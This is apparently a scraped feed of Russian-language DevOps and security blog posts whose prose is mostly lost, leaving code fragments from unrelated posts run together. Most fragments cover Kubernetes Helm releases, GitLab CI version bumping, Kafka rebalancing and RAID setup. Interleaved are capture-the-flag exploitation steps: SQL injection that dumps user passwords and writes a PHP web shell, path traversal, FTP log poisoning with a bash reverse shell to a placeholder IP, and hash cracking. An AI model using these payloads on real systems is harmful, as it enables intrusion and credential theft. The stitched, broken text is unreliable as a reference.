Post #202
261

СО @andtree_sec
Showing posts older than #203 · Back to latest

distributed-replicated.apiVersion: helm.toolkit.fluxcd.io/v2
kind: HelmRelease
metadata:
name: kadalu
namespace: kadalu
spec:
interval: 10m
releaseName: kadalu
install:
crds: Create
upgrade:
crds: CreateReplace
chart:
spec:
chart: kadalu
version: "1.3.0"
sourceRef:
kind: HelmRepository
name: kadalu
namespace: flux-system
interval: 10m
values:
global:
image:
registry: "<you_proxy_registry>"
repository: "kadalu"
pullPolicy: "IfNotPresent"
kubernetesDistro: "kubernetes"
operator:
enabled: true
verbose: "no"
apiVersion: source.toolkit.fluxcd.io/v1
kind: HelmRepository
metadata:
name: kadalu
namespace: flux-system
spec:
interval: 1h
url: oci://<registry>/path/helm
type: oci
secretRef:
name: <secret_name>
kadalu-helm-chart.tgz и залил в корп регистри так:helm registry login <registry>
helm pull oci://<registry>/<project>/helm/kadalu:1.3.0
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
- repository.yaml
- helmrelease.yaml
apiVersion: kadalu-operator.storage/v1alpha1
kind: KadaluStorage
metadata:
name: glusterfs
namespace: kadalu
spec:
type: External
single_pv_per_pool: false
details:
gluster_host: <gluster_host>
gluster_volname: glusterfs_data
gluster_options: "backupvolfile-server=<gluster_host_2>,log-level=WARNING"
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: app-data
namespace: test
spec:
accessModes:
- ReadWriteMany
storageClassName: kadalu.glusterfs
resources:
requests:
storage: 20Gi
apiVersion: v1
kind: Pod
metadata:
name: app-uses-kadalu
namespace: test
spec:
containers:
- name: busybox
image: busybox:1.36
command: ["sh", "-c", "sleep 3600"]
volumeMounts:
- name: data
mountPath: /data
volumes:
- name: data
persistentVolumeClaim:
claimName: app-data
username=test&password=qwerty123%21&repeatPassword=qwerty123%21&invitationCode=aaaa-bbbb-1234 ' or '1'='1
Location: /login.php?s=account+created+successfully!
admin') UNION select 1, 2, database(),4 from INFORMATION_SCHEMA.SCHEMATA #
chattr.admin') UNION select 1,2, TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES where table_schema='chattr'
admin') UNION select 1, 2, username, password from chattr.Users #
admin') UNION SELECT 1 , 2 , LOAD_FILE ( "/etc/nginx/nginx.conf" ), 4 -- -
admin') UNION SELECT 1 , 2 , LOAD_FILE ( "/etc/nginx/sites-enabled/default" ), 4 -- -
admin') UNION SELECT "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/chattr-prod/shell.php'-- -
admin ') UNION SELECT 1, 2, privilege_type, grantee FROM information_schema.user_privileges-- -
shell.php?0=id, должен вернуться вывод команды id. Значит шелл работает. Смотрим, что у нас в корне/shell.php?0=ls%20/`
/shell.php?0=cat%20/<flag_file_name>.txt
ffuf -w <wordlist> -u https://<domain>/FUZZ/-mc 200,204,301,302,307,308,401-fc 404 -ac -v
ffuf -u "https://<domain>/FUZZ" \
-w <wordlist> \
-e .php,.html,.txt,.bak,.js \
-mc 200,204,301,302,307,401,403 \
-ac
ffuf -w <wordlist> -u https://<domain> -H "Host: FUZZ.<domain>" -rate 10
ffuf -w <wordlist> -u https://<domain> -H "Host: FUZZ.<domain>" -rate 10 -fs <size>
ffuf -w <wordlist> -ic -v -u https://<domain>/FUZZ -e .html -recursion
-recursion-depth 2ffuf -u https://<domain>/<endpoint> -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "y=FUZZ" -w <wordlist> -mc 200 -v
y - это query параметр.bumpversion, которая позволяет автоматизировать bump, например патч версии. Обычно создается файл, в котором указывается текущая версия, которая при выполнении нехитрых команд будет увеличиваться, затем утилита автоматически делает комит в git.pyproject.toml уже есть поле version. Выглядит примерно так:[project]
name = "<app_name>"
version = "1.0.0"
bumpversion.cfg:[bumpversion]
current_version = 1.0.0
commit = True
tag = False
[bumpversion:file:pyproject.toml]
search = version = "{current_version}"
replace = version = "{new_version}"
{current_version} и {new_version} это переменные доступные в контексте выполнения самой утилиты, задавать их где-то отдельно не нужно. .bump_version:
before_script:
- pip install bump2version
- git config --global --add safe.directory '*'
- git config --global user.email "${GITLAB_USER_EMAIL}"
- git config --global user.name "${GITLAB_USER_NAME}"
- git remote set-url origin https://tag_token:${TAG_TOKEN}@${CI_SERVER_HOST}/${CI_PROJECT_PATH}.git
- git fetch
- git checkout $CI_COMMIT_REF_NAME
- git reset --hard "origin/$CI_COMMIT_REF_NAME"
script:
- |
function get_version() {
VERSION=$(cat $VERSION_PATH)
if [[ "$BUMP2VERSION_VERSION_FROM" == "pyproject" ]];then
VERSION=$(cat $VERSION_PATH | grep -E "^version = "|awk '{print $3}'|tr -d '"')
fi;
}
if [[ "$CI_COMMIT_REF_NAME" == "$CI_DEFAULT_BRANCH" ]];then
cmd_args=()
if [[ -n "$BUMP2VERSION_CONFIG_FILE" ]];then
cmd_args+=(--config-file "$BUMP2VERSION_CONFIG_FILE")
fi;
cmd_args+=("$BUMP2VERSION_TYPE")
bump2version "${cmd_args[@]}"
get_version
TAG="v$VERSION"
else
get_version
TAG="v$VERSION-$CI_COMMIT_SHORT_SHA"
fi;
echo "Generated tag: $TAG"
echo "TAG=$TAG" > dotenv.var
if [[ "$GENERATE_GIT_TAG" == "true" ]];then
git tag -f -a "$TAG" -m "Version $TAG. Created by $GITLAB_USER_NAME"
git push origin "${TAG}" -o ci.skip
fi;
if [[ "$CI_COMMIT_REF_NAME" == "$CI_DEFAULT_BRANCH" ]];then
git push origin HEAD:$CI_COMMIT_REF_NAME -o ci.skip
fi;
BUMP2VERSION_VERSION_FROM, чтобы обозначить проекты pyproject. Для всего остального просто читаем VERSION файл. Это нужно чтобы корректно распарсить версию из pyproject.toml, в VERSION она и так указывается как есть.prepare_version:
stage: prepare
image: python:3.11.12-bookworm
extends: [".bump_version"]
variables:
GENERATE_GIT_TAG: "false"
BUMP2VERSION_TYPE: patch
GENERATE_DOTENV_FILE: "true"
VERSION_PATH: "pyproject.toml"
BUMP2VERSION_CONFIG_FILE: "bumpversion.cfg"
BUMP2VERSION_VERSION_FROM: "pyproject"
artifacts:
reports:
dotenv: dotenv.var
expire_in: 3 hours
.git_commit:
image: alpine:3.19
before_script:
- apk add --no-cache git curl yq
- git config --global --add safe.directory '*'
- git config --global user.email "${GITLAB_USER_EMAIL}"
- git config --global user.name "${GITLAB_USER_NAME}"
- git remote set-url origin https://ci_commit_token:${CI_COMMIT_TOKEN}@${CI_SERVER_HOST}/${CI_PROJECT_PATH_OVERRIDE}.git
- git fetch
- git checkout $CI_COMMIT_REF_NAME
- git reset --hard "origin/$CI_COMMIT_REF_NAME"
script:
- yq -i ".${YAML_KEY_PATH} = strenv(YAML_KEY_NEW_VALUE)" "${YAML_TARGET_FILE}"
- git add "${YAML_TARGET_FILE}"
- |
git commit -m "ci: update ${YAML_KEY_PATH} in ${YAML_TARGET_FILE}"
- git push origin HEAD:$CI_COMMIT_REF_NAME -o ci.skip
<job:name>:
stage: .post
extends: [".git_commit"]
variables:
YAML_KEY_PATH: "<variables_name_in_yaml>"
YAML_KEY_NEW_VALUE: "<variables_new_value>"
YAML_TARGET_FILE: "<path_to_vars>"
CI_PROJECT_PATH_OVERRIDE: "<project>"
rules:
- { when: on_success , if: '$CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH' }
- { when: never }
YAML_KEY_PATH - это название переменной в переменных инвентори (vars или group_vars, например). YAML_KEY_NEW_VALUE - новое значение этой переменной.YAML_TARGET_FILE - путь до переменных. Например у меня это почти всегда файлы в group_vars.CI_PROJECT_PATH_OVERRIDE - название проекта вида group/sub_group/project. Он будет склонирован в нашей джобе и в него же будет комит. Стандартная переменная CI_PROJECT_PATH в данном случае не подходит, так как мы вызываем данный код из другого проекта.yq. Не забываем делать ci.skip, чтобы не дублировать запуск пайплайна, ведь предполагается, что мы уже накатили версию в предыдущем шаге и тут просто фиксируем ее в наш "источник правды" - git.NOTIFY=telegram://<bot_token>@telegram/?chats=<chat_id>
Payload Fire: A payload fire has been detected on <URL>
send_notification при желании и пересобрать:docker compose up -d --build
nmap -sC -sV 10.10.11.74
/dashboard возможность скачать requirements.txt в требованиях. Там в зависимостях - tensorflow-cpu==2.13.1. И приложен тестовый DockerfileFROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]
docker run --rm -v $(pwd):/code -w /code python:3.8-slim bash -c "
pip install https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl &&
python exploit.py"
exploit.h5, его можно через UI загрузить на сайте и нажать "View predictions" для выполнения, перед этим ловим шелл nc -lnvp 9000.python3 -c 'import pty; pty.spawn("/bin/bash")'.instance/users.db. sqlite3 instance/users.db
.tables
select * from users;
gael, такой же как на хосте и хеш его пароля. Брутим хеш:echo <hash> hash.txt
hashcat -m 0 -a 0 hash.txt /path/to/rockyou.txt
gael@artificial:~$ find / -group sysadm -xtype f -ls 2>/dev/null | head -n 200
293066 51132 -rw-r----- 1 root sysadm 52357120 Mar 4 2025 /var/backups/backrest_backup.tar.gz
gael@artificial:~$
.config/backrest/config.json, внутри имя пользователя и хеш закодированный в base64. Сбрутим его:echo <base64_hash> |base64 -d > /tmp/hash.txt
hashcat -m 3200 /tmp/hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 3200 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --show
apiVersion: v1
kind: ConfigMap
metadata:
name: vector-config-audit-logs
namespace: logging
data:
audit-logs.yaml: |
sources:
kube_apiserver_audit:
type: file
include:
- /var/log/kubernetes/audit/kube-apiserver-audit.log
read_from: end
max_line_bytes: 2097152
transforms:
general_fields:
type: remap
inputs: [kube_apiserver_audit]
source: |-
.cluster_name = "${CLUSTER_NAME}"
sinks:
kube_apiserver_audit_sink:
type: kafka
inputs: [general_fields]
bootstrap_servers: "<bootstrap"
topic: "<topic_name>"
encoding:
codec: json
librdkafka_options:
security.protocol: "SASL_SSL"
enable.ssl.certificate.verification: "false"
sasl:
enabled: true
username: ${VECTOR_KAFKA_LOGIN}
password: ${VECTOR_KAFKA_PASSWORD}
mechanism: "PLAIN"
values:
existingConfigMaps:
- vector-config-audit-logs
tolerations:
- key: "node-role.kubernetes.io/master"
operator: "Exists"
effect: "NoSchedule"
- key: "node-role.kubernetes.io/control-plane"
operator: "Exists"
effect: "NoSchedule"
env:
- name: CLUSTER_NAME
value: <cluster_name>
- name: VECTOR_LOG
value: info
- name: RUST_BACKTRACE
value: "1"
- name: "VECTOR_THREADS"
value: "8"
- name: ALLOCATION_TRACING
value: "false"
- name: VECTOR_REQUIRE_HEALTHY
value: "true"
- name: VECTOR_KAFKA_LOGIN
valueFrom:
secretKeyRef:
name: vector
key: VECTOR_KAFKA_LOGIN
- name: VECTOR_KAFKA_PASSWORD
valueFrom:
secretKeyRef:
name: vector
key: VECTOR_KAFKA_PASSWORD
.cluster_name. /var/log вектор маунтит по дефолту.container_id.crictl ps |grep <container_name>
crictl inspect <container_id> |grep pid
nsenter -t <pid> -n -- tcpdump -i any -n -s 0 "src host <pod_ip>"
GET /api/read.php?file=/opt/cpu.txtGET /api/read.php?file=../../../../../../etc/pt.flagnmap -sC -sV <ip>
GET /api/read.php?file=../../../../var/log/vsftpd.log HTTP/1.1ftp <ip>
USER: <?=`bash -c 'bash -i >& /dev/tcp/<YOU_IP>/4444 0>&1'`?>
PASS: <any>
nc -lvnp 4444
/home/rceflag/usr/local/kafka/bin/kafka-topics.sh --bootstrap-server $BS --command-config $CFG --describe \ | awk '{for(i=1;i<=NF;i++) if ($i=="Leader:") print $(i+1)}' \ | sort | uniq -c | sort -nr
61 2
58 1
53 4
52 3
51 5
45 6/usr/local/kafka/bin/kafka-topics.sh --bootstrap-server $BS --command-config $CFG --describe \ | awk ' match($0,/Replicas: \[?([0-9, ]+)\]?/,m){ s=m[1]; gsub(/[ \[\]]/,"",s); n=split(s,a,","); for(i=1;i<=n;i++) cnt[a[i]]++ } END{for(b in cnt) printf "%6d %s\n", cnt[b], b} ' | sort -nr
128 1
116 2
113 5
106 4
106 3
99 6HEAVY=1
LIGHT=6
/usr/local/kafka/bin/kafka-topics.sh --bootstrap-server $BS --command-config $CFG --describe \
| awk -v H=$HEAVY -v L=$LIGHT '
function has(b, s) { return index("," s ",", "," b ",") }
/Topic: / { if (match($0,/Topic: ([^ ]+)/,t)) topic=t[1] }
match($0,/Replicas: \[?([0-9, ]+)\]?/,m) {
s=m[1]; gsub(/[ \[\] ]/,"",s)
if (has(H,s) && !has(L,s)) hit[topic]++
}
END{ for (k in hit) printf "%6d %s\n", hit[k], k }' \
| sort -nr \
| grep -v '^__' \
| head -n 10 \
| awk '{print "{\"topic\":\""$2"\"}"}' \
| paste -sd, - \
| sed '1s/^/{"topics":[/; $s/$/], "version":1}/' \
> /tmp/topics_to_move.json
/usr/local/kafka/bin/kafka-reassign-partitions.sh \
--bootstrap-server $BS --command-config $CFG \
--topics-to-move-json-file /tmp/topics_to_move.json \
--broker-list "1,2,3,4,5,6" \
--generate | tee /tmp/reassign.gen
awk '/Proposed partition reassignment configuration/{p=1} p{print} /\}$/ {if(p){exit}}' /tmp/reassign.gen \
| sed -n '/{/,/}/p' > /tmp/reassign-plan.json/usr/local/kafka/bin/kafka-reassign-partitions.sh \
--bootstrap-server $BS --command-config $CFG \
--reassignment-json-file /tmp/reassign-plan.json \
--throttle 52428800 \
--execute
watch -n 5 "/usr/local/kafka/bin/kafka-reassign-partitions.sh \
--bootstrap-server $BS --command-config $CFG \
--reassignment-json-file /tmp/reassign-plan.json --verify"
/usr/local/kafka/bin/kafka-leader-election.sh \
--bootstrap-server $BS --command-config $CFG \
--election-type PREFERRED \
--all-topic-partitions
apiVersion: helm.toolkit.fluxcd.io/v2
kind: HelmRelease
metadata:
name: reloader
namespace: flux-system
spec:
interval: 5m
chart:
spec:
chart: reloader
version: "2.2.0"
sourceRef:
kind: HelmRepository
name: stakater
namespace: flux-system
interval: 5m
targetNamespace: reloader-system
install:
createNamespace: false
remediation:
retries: 3
upgrade:
remediation:
retries: 3
strategy: rollback
values:
image:
repository: ghcr.io/stakater/reloader
name: stakater/reloader
tag: v1.4.6
pullPolicy: IfNotPresent
reloader:
watchGlobally: true
autoReloadAll: false
namespacesToIgnore: "kube-system,kube-public,kube-node-lease,flux-system"
reloadStrategy: "annotations"
deployment:
replicas: 1
resources:
requests:
cpu: 10m
memory: 128Mi
limits:
cpu: 150m
memory: 512Mi
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
- repository.yaml
- helmrelease.yaml
apiVersion: source.toolkit.fluxcd.io/v1
kind: HelmRepository
metadata:
name: stakater
namespace: flux-system
spec:
interval: 30m
url: https://stakater.github.io/stakater-charts
reloader.stakater.com/auto: "true"
/var/lib/kafka/, который в root. Пришла задача исправить, есть 8 дисков под программный raid. Соответственно будет делать 10-й. systemctl stop kafka
mkdir /tmp/kafka_backup
rsync -aXH --progress /var/lib/kafka/ /tmp/kafka_backup
rm -rf /var/lib/kafka/*
mdadm. mdadm_arrays:
- name: "md1"
devices:
- '/dev/nvme1n1'
- '/dev/nvme4n1'
- '/dev/nvme5n1'
- '/dev/nvme11n1'
- '/dev/nvme6n1'
- '/dev/nvme7n1'
- '/dev/nvme9n1'
- '/dev/nvme8n1'
filesystem: "xfs"
level: "10"
mountpoint: "/var/lib/kafka"
state: "present"
mdadm_force_create_filesystem: true
/var/lib/kafka.rsync -aXH --progress /tmp/kafka_backup/ /var/lib/kafka/
systemctl start kafka